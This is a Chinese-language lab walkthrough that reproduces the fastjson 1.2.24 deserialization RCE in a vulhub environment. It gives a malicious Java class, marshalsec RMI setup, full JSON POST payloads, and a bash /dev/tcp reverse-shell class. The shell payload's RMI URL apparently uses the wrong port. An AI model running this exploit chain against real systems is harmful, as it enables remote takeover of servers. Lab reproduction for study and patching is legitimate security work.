赞
踩
最近遇到了这个漏洞,所以咱们今天来复现一下
--学如逆水行舟,不进则退
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
fastjson <= 1.2.24
1.所需机器以及工具:
靶机:Centos7 (192.168.166.129)
攻击机:kali (192.168.166.128)
本机(当然也可以用kali),用来抓包
环境:JDK不得高于不得高于1.8(使用新版本复现不出来)
marshalsec
项目:用来启动一个RMI服务器,用来指定加载远程类。
下载地址:链接:https://pan.baidu.com/s/1wHGozwQsUeUSeT1dqA_Lsg
提取码:mask
2.环境搭建
此处使用vulhub靶场搭建
cd vulhub/
cd fastjson/
cd 1.2.24-rce/
docker-compose up -d
搭建好之后,访问靶机,http://ip:8090,出现下图,说明搭建成功
3.在kali中使用一下命令,发送一个JSON对象,更新服务端的信息。
curl http://192.168.166.129:8090/ -H "Content-Type: application/json" --data '{"name":"xzc", "age":23}'
4. 在kali中新建一个TouchFile.java文件,将下列代码内容,也就是恶意类写进文件中
注意:::此处文件名不能随意更改
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
5.使用javac命令将TouchFile.java编译成.class文件
注意:::编译好后,将生成的.class文件和Touchfile.java放在一个文件夹下
javac TouchFile.java
6.在Touchfile.java和.class文件的文件夹下启动http服务(默认端口是8000)
python3 -m http.server
启动之后,浏览器访问http://kali ip:8000/ 可以访问到就是启动成功了
7.使用marshalsec启动一个RMI服务器,用来指定加载远程类。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.166.128:8000/#TouchFile" 9999
如下图:
8.访问靶机,进行抓包,构造payload
注意::: 1.抓包之后,改为post包
2.Content-Type处application/x-www-form-urlencoded换为application/json
3.自己复现时候,记得把payload中ip改为自己攻击的ip
POST / HTTP/1.1
Host: 192.168.166.129:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 165{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.166.128:9999/TouchFile",
"autoCommit":true
}
}
发送一下数据包,响应为500,即为正常
9.进去靶机机器(Centos7),验证命令是否执行成功
docker ps -a ///查看启动的docker容器
docker exec -it 容器id bash
cd /tmp/
ls
发现有success,代表命令执行成功 (当然,在攻击机中,也会有回显)
10.反弹shell
同上操作:
1.创建一个shell.java文件,然后将shell.java编译成.class文件,然后放于同意文件夹下
代码如下:
import java.lang.Runtime;
import java.lang.Process;
public class shell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.166.128/6666 0>&1"}; Process pc = rt.exec(commands);
pc.waitFor(); }
catch (Exception e) {
// do nothing
}
}
}
2.在shell.java和生成的.class文件夹中启动http服务
3.启用RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.166.128:8000/#shell" 9999
4nc监听6666端口
如下图:
11.访问靶机抓包,构造paylaod,注意项如上面一样
POST / HTTP/1.1
Host: 192.168.166.129:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 165{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.166.128:6666/shell",
"autoCommit":true }
}
12.出现以下图片说明反弹成功
将Fastjson升级到最新版本
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。